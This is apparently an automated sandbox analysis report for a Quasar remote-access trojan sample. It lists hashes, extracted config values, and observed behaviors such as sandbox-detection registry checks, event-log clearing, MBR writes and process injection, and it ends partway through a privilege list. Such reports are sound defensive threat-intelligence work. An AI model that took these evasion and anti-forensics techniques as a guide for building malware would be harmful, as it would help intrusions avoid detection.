Analysis
- max time kernel
150s - max time network
148s - platform
windows10-2004_x64 - resource
win10v2004-20241007-en - resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system - submitted
27/01/2025, 07:57
Behavioral task
behavioral1
Sample
24bbfa8d70a5d5e74791b0af93c77802df7e965b14b0649aaec2ab8dd0e0c999.exe
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
24bbfa8d70a5d5e74791b0af93c77802df7e965b14b0649aaec2ab8dd0e0c999.exe
Resource
win10v2004-20241007-en
General
- Target 24bbfa8d70a5d5e74791b0af93c77802df7e965b14b0649aaec2ab8dd0e0c999.exe
- Size 5.4MB
- Sample250127-js8p8symax
- SHA256 24bbfa8d70a5d5e74791b0af93c77802df7e965b14b0649aaec2ab8dd0e0c999
- MD5 dd2c5095b1d6590197ed2432837655f0
- SHA1 d287bb38f83941199fa66d7420b6f8cff2257a16
- SHA512 24d7f1b61f07060f7723a306d46b1d82ca1b54a93770bfb783b83f613edb9a412f929a40c396fda5b6b3402ca37531f53ce1d42524623a6ce1cfee61e726e283
- SSDEEP 98304:zHTFcsxxcsx30XgnNvfSDRyhoVi8rhh+xX/r:zHOgn0DRy2oR/r
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Extracted
-
quasar
-
encryption_key
329720B689F7B7703EAAA9546BE3BAFE737B0649
-
reconnect_delay
3000
Signatures
- Quasar family
- Quasar payload 1 IoCs
resource yara_rule behavioral2/memory/1960-1-0x0000000000250000-0x00000000007B8000-memory.dmp family_quasar - Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
description pid Process procid_target PID 1276 created 620 1276 powershell.EXE 5 - Sets service image path in registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\DoSvc\ImagePath = "C:\\Windows\\System32\\svchost.exe -k NetworkService -p" WaaSMedicAgent.exe - Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion wmiprvse.exe - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation 24bbfa8d70a5d5e74791b0af93c77802df7e965b14b0649aaec2ab8dd0e0c999.exe - Indicator Removal: Clear Windows Event Logs 1 TTPs 1 IoCs
Clear Windows Event Logs to hide the activity of an intrusion.
description ioc Process File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-WindowsUpdateClient%4Operational.evtx svchost.exe -
pid Process 1276 powershell.EXE - Enumerates connected drives 3 TTPs 23 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\A: svchost.exe File opened (read-only) \??\B: svchost.exe File opened (read-only) \??\J: svchost.exe File opened (read-only) \??\Q: svchost.exe File opened (read-only) \??\H: svchost.exe File opened (read-only) \??\I: svchost.exe File opened (read-only) \??\P: svchost.exe File opened (read-only) \??\V: svchost.exe File opened (read-only) \??\L: svchost.exe File opened (read-only) \??\O: svchost.exe File opened (read-only) \??\R: svchost.exe File opened (read-only) \??\S: svchost.exe File opened (read-only) \??\T: svchost.exe File opened (read-only) \??\X: svchost.exe File opened (read-only) \??\Z: svchost.exe File opened (read-only) \??\Y: svchost.exe File opened (read-only) \??\E: svchost.exe File opened (read-only) \??\G: svchost.exe File opened (read-only) \??\K: svchost.exe File opened (read-only) \??\M: svchost.exe File opened (read-only) \??\N: svchost.exe File opened (read-only) \??\U: svchost.exe File opened (read-only) \??\W: svchost.exe - Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs
Bootkits write to the MBR to gain persistence at a level below the operating system.
description ioc Process File opened for modification \??\PHYSICALDRIVE0 wmiprvse.exe - Drops file in System32 directory 16 IoCs
description ioc Process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04 svchost.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D lsass.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml OfficeClickToRun.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log powershell.EXE File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Scan svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work svchost.exe - Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 4812 set thread context of 1512 4812 powershell.exe 86 PID 1276 set thread context of 4952 1276 powershell.EXE 89 - Drops file in Windows directory 5 IoCs
description ioc Process File opened for modification C:\Windows\SoftwareDistribution\DataStore\Logs\edb.log svchost.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\DataStore.edb svchost.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\DataStore.jfm svchost.exe File opened for modification C:\Windows\SoftwareDistribution\ReportingEvents.log svchost.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\Logs\edb.chk svchost.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe - Checks SCSI registry key(s) 3 TTPs 18 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000\LogConf wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\FriendlyName wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000 wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\CompatibleIDs wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Mfg wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\DeviceDesc wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Mfg wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\DeviceDesc wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000 wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000\LogConf wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\CompatibleIDs wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\ConfigFlags wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Service wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\HardwareID wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Service wmiprvse.exe - Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString mousocoreworker.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz mousocoreworker.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 mousocoreworker.exe - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier wmiprvse.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU mousocoreworker.exe - Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\SignalManager\Peek mousocoreworker.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Mon, 27 Jan 2025 07:58:42 GMT" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root WaaSMedicAgent.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\DeviceId = "0018C010F445BBE3" mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust WaaSMedicAgent.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Property\0018C010F445BBE3 = 0100000001000000d08c9ddf0115d1118c7a00c04fc297eb01000000a7d449818631124192342b9ab5a8842e000000000200000000001066000000010000200000004f562474e0715ec83e1bf4274e11ce4d503390ae3ed9c927d3d35865f10b1978000000000e8000000002000020000000c2f2bcba6bfa744ec542a448fb6ccd1a80844b0395450efca44cb2a192d52e3d800000003bff0d6728f31a79554bc113b9bec428e21a4ba47e8fd2a0e03c44eced66621822c27bd67eadffd522b7452db804f91eac37530bc5ab857a6aa4700617fd50628a719b6591ae1cddec497a96697cc68e05e97619190581ea20651aa64f2d87fa88752e052b8cbb6883248b9a1d2d26a03e15d8f70ca0170d7e65ae713540d45d40000000684248efa2044081d900b043c83a8c234eccb7ca0d51db94e08f61c1c5516b9da9e044474db1ddd94dd40135e8de8735db31eef9fefad07e98f7657feab04043 mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\ExtendedProperties\LID = "0018C010F445BBE3" svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs WaaSMedicAgent.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={028F791C-9EDF-47B3-B697-8CBCC2DA956D}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata OfficeClickToRun.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,508368333,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\SignalManager\Peek\CacheStore mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software mousocoreworker.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\ApplicationFlags = "1" mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs WaaSMedicAgent.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\DeviceTicket = 0100000001000000d08c9ddf0115d1118c7a00c04fc297eb01000000a7d449818631124192342b9ab5a8842e00000000020000000000106600000001000020000000ad08a47381c5b792ebf3b0b6efd545cff505cedd5cbff90ec46b97cc54e592ae000000000e80000000020000200000006dcb6180c2c0264133825738577486b00354b5ec589541e24d2ece541b751cf4b0030000128411b0ee06a514bc2384b884f3a522dee709394f17b6bde961a863000e0f0e9973393190de81e0a421dbf0433416f057191ccc4168c47d12e12b719135661ee3ba014c5f48c438068d2f07375b2285b6c012337da137f9cebf1ed9fc28fad8dca9b46ff4e41f79282d96bd01cdff33652fa8ffa2a64d1a028f7b156c1807eedc9d80b61067ca628baef2141a55a55b9e3bebb0f63dfd92a52232454d7c61cc9628cc43cf66c0c052160b8b41ff54fa5c0b334dd969adbd9c0921d7d6b9e93236f46dec879a24f5419c803b3bbbc589de4630f41d6913b1d2eb25e3c8c3b5a02658b6234ae9ac1394409d5c921adf81f7c61d83207e2b887edd6c8e381dd6d954ad96707746064149cef5b4db32c88236eb85d8fc1008c7b83e5106c6d0be34576004f5561b8ebb261f0a70e9197c1569f2099319a16550439b298e0246f0b47a9b5cf245e6e695b885df4ffc2ede00151d6a15b22eaf23944b3eb72a1e8edcbb333916fb3da66a90b20ab72b17fba5c7a1dbe6f89a213a368d83e1db7d62593d2a6136f9cac498520f6ad5c90aefa1361fafd6dedfa4e2dab5700c911e47f013064dcdc2f18ef20e72bb7a0fbbd4a31f598f12a35b032cec17a89fce31c2b20b6281f1552c11373c0e171be04ed4facfdbb5baaf30e25a37b523af3cc482175e6d1e6dff952aa7d7ec33ca94c4007c831901f5fa3ccf639eb854d6bd1017372734072b6716eb86e776a149365e6bccc26c75ee22fbd3365075e2a82aea954b9fe5531af8c3e4631eb47833b5aec02f157377e2969918a75fd42984b68ef07d170f3c65ef5a7308185ad9d46a71e4597d7a06cf7a8d9f228cadcc5f3efab8d1a1ab1382f9cba8372a55a99768abbd4d433033a9821ca505160e744780056c49d68890426ed1216775d60bbab0d0d36b4a9919576de1b6dc7023b7dc049aa7ac8485802cd2f89495a07a71151d5f44c5fb256e6cdf6b6527b213cfa7537b776660e50536eef6944bec9b8b79a81f40a64251986c314ed0d993c7e324cfadb8ee5b35b9380cf27ea9be80f4e81260a6e0f1db58b816e254c1c294adbd0a38ea85ddc156c40ef678cd529244dd5308696f2d0d220599530595812c8743335a5422d0f756a7cc558eb7cbb7ca883c4f27251ae4cf705c6830dc9c0e2a434a7f942e3956ba1661ab1ef22f08fe5050e62113c3614f7c049496b56deba34554a2d6c20db969e7c3115df8e55ac6d531e035068e458fd1f8d6e0ebc6d715eb38ce84f3c15735656753ef547942662c573a728f06dbc9b7a2b01996ad27636736c272784584099c9c38f3c0b593d5f195d43aed40000000e390177209a8d1afaf9de5b6f559bca626d158424104aa85575e20bfe7e7995e8570527ead284bff9ff98fdb0757adbbe7b43905cb05091b62da9f7f5b098d76 mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed WaaSMedicAgent.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 1960 24bbfa8d70a5d5e74791b0af93c77802df7e965b14b0649aaec2ab8dd0e0c999.exe 1960 24bbfa8d70a5d5e74791b0af93c77802df7e965b14b0649aaec2ab8dd0e0c999.exe 1276 powershell.EXE 1276 powershell.EXE 1276 powershell.EXE 4952 dllhost.exe 4952 dllhost.exe 4952 dllhost.exe 4952 dllhost.exe 4952 dllhost.exe 4952 dllhost.exe 4952 dllhost.exe 4952 dllhost.exe 4952 dllhost.exe 4952 dllhost.exe 4952 dllhost.exe 4952 dllhost.exe 4952 dllhost.exe 4952 dllhost.exe 4952 dllhost.exe 4952 dllhost.exe 4952 dllhost.exe 4952 dllhost.exe 4952 dllhost.exe 4952 dllhost.exe 1960 24bbfa8d70a5d5e74791b0af93c77802df7e965b14b0649aaec2ab8dd0e0c999.exe 4952 dllhost.exe 4952 dllhost.exe 4952 dllhost.exe 4952 dllhost.exe 4952 dllhost.exe 4952 dllhost.exe 4952 dllhost.exe 4952 dllhost.exe 4952 dllhost.exe 4952 dllhost.exe 4952 dllhost.exe 1960 24bbfa8d70a5d5e74791b0af93c77802df7e965b14b0649aaec2ab8dd0e0c999.exe 4952 dllhost.exe 4952 dllhost.exe 4952 dllhost.exe 4952 dllhost.exe 4952 dllhost.exe 4952 dllhost.exe 1960 24bbfa8d70a5d5e74791b0af93c77802df7e965b14b0649aaec2ab8dd0e0c999.exe 4952 dllhost.exe 4952 dllhost.exe 4952 dllhost.exe 4952 dllhost.exe 4952 dllhost.exe 4952 dllhost.exe 4952 dllhost.exe 4952 dllhost.exe 4952 dllhost.exe 4952 dllhost.exe 4952 dllhost.exe 4952 dllhost.exe 4952 dllhost.exe 4952 dllhost.exe 4952 dllhost.exe 4952 dllhost.exe 4952 dllhost.exe 4952 dllhost.exe 5072 wmiprvse.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 1960 24bbfa8d70a5d5e74791b0af93c77802df7e965b14b0649aaec2ab8dd0e0c999.exe Token: SeDebugPrivilege 1276 powershell.EXE Token: SeDebugPrivilege 1276 powershell.EXE Token: SeDebugPrivilege 4952 dllhost.exe Token: SeShutdownPrivilege 1544 svchost.exe Token: SeCreatePagefilePrivilege 1544 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2052 svchost.exe Token: SeIncreaseQuotaPrivilege 2052 svchost.exe Token: SeSecurityPrivilege 2052 svchost.exe Token: SeTakeOwnershipPrivilege 2052 svchost.exe Token: SeLoadDriverPrivilege 2052 svchost.exe Token: SeBackupPrivilege 2052 svchost.exe Token: SeRestorePrivilege 2052 svchost.exe Token: SeShutdownPrivilege 2052 svchost.exe Token: SeSystemEnvironmentPrivilege 2052 svchost.exe Token: SeManageVolumePrivilege 2052 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2052 svchost.exe Token: SeIncreaseQuotaPrivilege 2052 svchost.exe Token: SeSecurityPrivilege 2052 svchost.exe Token: SeTakeOwnershipPrivilege 2052 svchost.exe Token: SeLoadDriverPrivilege 2052 svchost.exe Token: SeSystemtimePrivilege 2052 svchost.exe Token: SeBackupPrivilege 2052 svchost.exe Token: SeRestorePrivilege 2052 svchost.exe Token: SeShutdownPrivilege 2052 svchost.exe Token: SeSystemEnvironmentPrivilege 2052 svchost.exe Token: SeUndockPrivilege 2052 svchost.exe Token: SeManageVolumePrivilege 2052 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2052 svchost.exe Token: SeIncreaseQuotaPrivilege 2052 svchost.exe Token: SeSecurityPrivilege 2052 svchost.exe Token: SeTakeOwnershipPrivilege 2052 svchost.exe Token: SeLoadDriverPrivilege 2052 svchost.exe Token: SeSystemtimePrivilege 2052 svchost.exe Token: SeBackupPrivilege 2052 svchost.exe Token: SeRestorePrivilege 2052 svchost.exe Token: SeShutdownPrivilege 2052 svchost.exe Token: SeSystemEnvironmentPrivilege 2052 svchost.exe Token: SeUndockPrivilege 2052 svchost.exe Token: SeManageVolumePrivilege 2052 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2052 svchost.exe Token: SeIncreaseQuotaPrivilege 2052 svchost.exe Token: SeSecurityPrivilege 2052 svchost.exe Token: SeTakeOwnershipPrivilege 2052 svchost.exe Token: SeLoadDriverPrivilege 2052 svchost.exe Token: SeSystemtimePrivilege 2052 svchost.exe Token: SeBackupPrivilege 2052 svchost.exe Token: SeRestorePrivilege 2052 svchost.exe Token: SeShutdownPrivilege 2052 svchost.exe Token: SeSystemEnvironmentPrivilege 2052 svchost.exe Token: SeUndockPrivilege 2052 svchost.exe Token: SeManageVolumePrivilege 2052 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2052 svchost.exe Token: SeIncreaseQuotaPrivilege 2052 svchost.exe Token: SeSecurityPrivilege 2052 svchost.exe Token: SeTakeOwnershipPrivilege 2052 svchost.exe Token: SeLoadDriverPrivilege 2052 svchost.exe Token: SeSystemtimePrivilege 2052 svchost.exe Token: SeBackupPrivilege 2052 svchost.exe Token: SeRestorePrivilege 2052 svchost.exe Token: 